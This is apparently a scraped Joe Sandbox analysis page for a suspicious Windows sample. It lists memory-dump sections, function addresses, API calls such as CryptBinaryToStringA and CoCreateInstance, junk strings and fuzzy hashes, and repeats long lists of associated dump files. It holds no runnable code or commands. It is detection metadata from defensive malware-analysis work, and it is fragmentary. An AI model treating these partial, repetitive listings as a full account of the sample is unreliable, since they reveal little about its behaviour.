Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >?$IHb$p`wA$R\Z
API String ID: 0-322657526
Opcode ID: 55f9f3d6f6b7e7da3e3c0da1cfadd8148aa29bf31d4bab9639d00c8a7064bc29
Instruction ID: 42dcf4b61fab07ec529e686eaf7f3f12268960862229b445a9e6b9234fdb2bfe
Opcode Fuzzy Hash: 55f9f3d6f6b7e7da3e3c0da1cfadd8148aa29bf31d4bab9639d00c8a7064bc29
Instruction Fuzzy Hash: 1AB2F6F3A0C2049FE3046E2DEC8576ABBE9EF94320F1A453DEAC4D3744E63598158697

Function 004B8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004A5184,40000001,00000000,00000000,?,004A5184), ref: 004B8EC0

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 670cf6cbac182fefc036d4a3d20796ab64376da01afafd402dcce0b0f3a2257c
Instruction ID: 6f0e76517acfaebd5378daee11b0b5656909d810c32f14e2ad0b1f86696ad842
Opcode Fuzzy Hash: 670cf6cbac182fefc036d4a3d20796ab64376da01afafd402dcce0b0f3a2257c
Instruction Fuzzy Hash: 4D110A70200204AFDF00CFA4D884FB737AEAF89304F109549F9158B250DB39E841DB75

Function 0085D2E3 Relevance: 5.4, Strings: 3, Instructions: 1608COMMON

Download Yara Rule

Strings

"u>l, xrefs: 0085E416
[3BA, xrefs: 0085E572
.i/, xrefs: 0085DD9C

Memory Dump Source

Source File: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "u>l$.i/$[3BA
API String ID: 0-3475078540
Opcode ID: 28c67d808f477702bc421acf67441df586b72988b0e169ddd8456512c5f4d1ee
Instruction ID: 30dcd0e5af47e6e0478893676b373f9ca6a3210ca8c5fa41475dad035b83ef6e
Opcode Fuzzy Hash: 28c67d808f477702bc421acf67441df586b72988b0e169ddd8456512c5f4d1ee
Instruction Fuzzy Hash: D2B216F360C2049FE3146E2DEC8567ABBE9EFD4320F16892DE6C4C7744EA3598058697

Function 00863E90 Relevance: 5.3, Strings: 3, Instructions: 1578COMMON

Download Yara Rule

Strings

BJ[{, xrefs: 0086432B
(]o, xrefs: 00864ECC
_Tsi, xrefs: 0086447D

Memory Dump Source

Source File: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (]o$BJ[{$_Tsi
API String ID: 0-2634982028
Opcode ID: 6a46b3c11f1343877c9833db64bd68bf112624eedf479609c2285055eeabe177
Instruction ID: ec0a22d982f8405ff8f3809beffb63691bca949c282ad2536d54b4ebc0d31ba4
Opcode Fuzzy Hash: 6a46b3c11f1343877c9833db64bd68bf112624eedf479609c2285055eeabe177
Instruction Fuzzy Hash: D3B207F360C204AFE7046E2DEC85A7ABBE9EF94720F16493DE6C4C7744E63598018697

Function 004B3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(004BE118,00000000,00000001,004BE108,00000000), ref: 004B3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004B37B0

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: f4c27228fd01f01c6101aa941090079b2d5f29db1f3ba8afc3246752ebed41a2
Instruction ID: 3322388ed6ed5fb88772421e4eaf59372c6f7044e1add4c3b1afe4f5dae1584d
Opcode Fuzzy Hash: f4c27228fd01f01c6101aa941090079b2d5f29db1f3ba8afc3246752ebed41a2
Instruction Fuzzy Hash: 39412970A00A289FDB24DF58CC94BDBB7B5BB48302F5051D9E608AB290D7716E85CF51

Function 00866530 Relevance: 4.3, Strings: 3, Instructions: 564COMMON

Download Yara Rule

Strings

}^Wo, xrefs: 00866BDB
auu, xrefs: 008666A3
?N}, xrefs: 008665D7

Memory Dump Source

Source File: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?N}$auu$}^Wo
API String ID: 0-827217156
Opcode ID: 82fcf75bf7a4ea6f2ae33df736b7e15ae4589bc8568f4cb7d8f1eab6954c5c74
Instruction ID: ca629fd92126d7bdc13c4cfe10c181771488f9e4239b47471d1c2ba4758dd5b2
Opcode Fuzzy Hash: 82fcf75bf7a4ea6f2ae33df736b7e15ae4589bc8568f4cb7d8f1eab6954c5c74
Instruction Fuzzy Hash: 6D02F7B390C3109FD314AF2DDC8566AFBE9EF94720F16492DEAC8D3700E67598408B96

Function 007BB9F1 Relevance: 2.7, Strings: 2, Instructions: 230COMMON

Download Yara Rule

Strings

Nmu, xrefs: 007BBB76
r~, xrefs: 007BB9F5

Memory Dump Source

Source File: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Nmu$r~
API String ID: 0-281936526
Opcode ID: ef2dbf804c827e684d1e24aa58bae371c7b7c890eeefe434fe71293a539aedf3
Instruction ID: 62d37a4ddafa15d10b7edcd670aa586e6ac2ba6843b0846d7e2881cbc59e01dc
Opcode Fuzzy Hash: ef2dbf804c827e684d1e24aa58bae371c7b7c890eeefe434fe71293a539aedf3
Instruction Fuzzy Hash: 6E61E7B3A086109BE3086E2DDC857BAFBD5EB94320F1A463DEBC993784D53958008696

Function 0073C785 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d68da83ce3ff0ecc94242dc194cf574e4c83a9db78b83f0a63f450e39ecc3047
Instruction ID: 16f151cf6bcfdbb62f395066a812815f526572046d758af31341fc3ea3c7d9b9
Opcode Fuzzy Hash: d68da83ce3ff0ecc94242dc194cf574e4c83a9db78b83f0a63f450e39ecc3047
Instruction Fuzzy Hash: 4361F2F3A082109FE3046E28DC9537ABBE5EF94720F1A463DDBD9477C4EA3919448786

Function 0095AF7D Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a94b318fb32609b9cf9b77b3ed735f49c922828b179925ba462ee2e6a6d4b6f2
Instruction ID: ce887280e1ddcf1fdcfedbf0ffd60eca1da3f2704e87504991d191e142b7f683
Opcode Fuzzy Hash: a94b318fb32609b9cf9b77b3ed735f49c922828b179925ba462ee2e6a6d4b6f2
Instruction Fuzzy Hash: 635132B281CB00DFD344BE3ADC657BAB7A4AB00312F254D2DDE9257644EB381948A7C7

Function 00759862 Relevance: .2, Instructions: 165COMMON

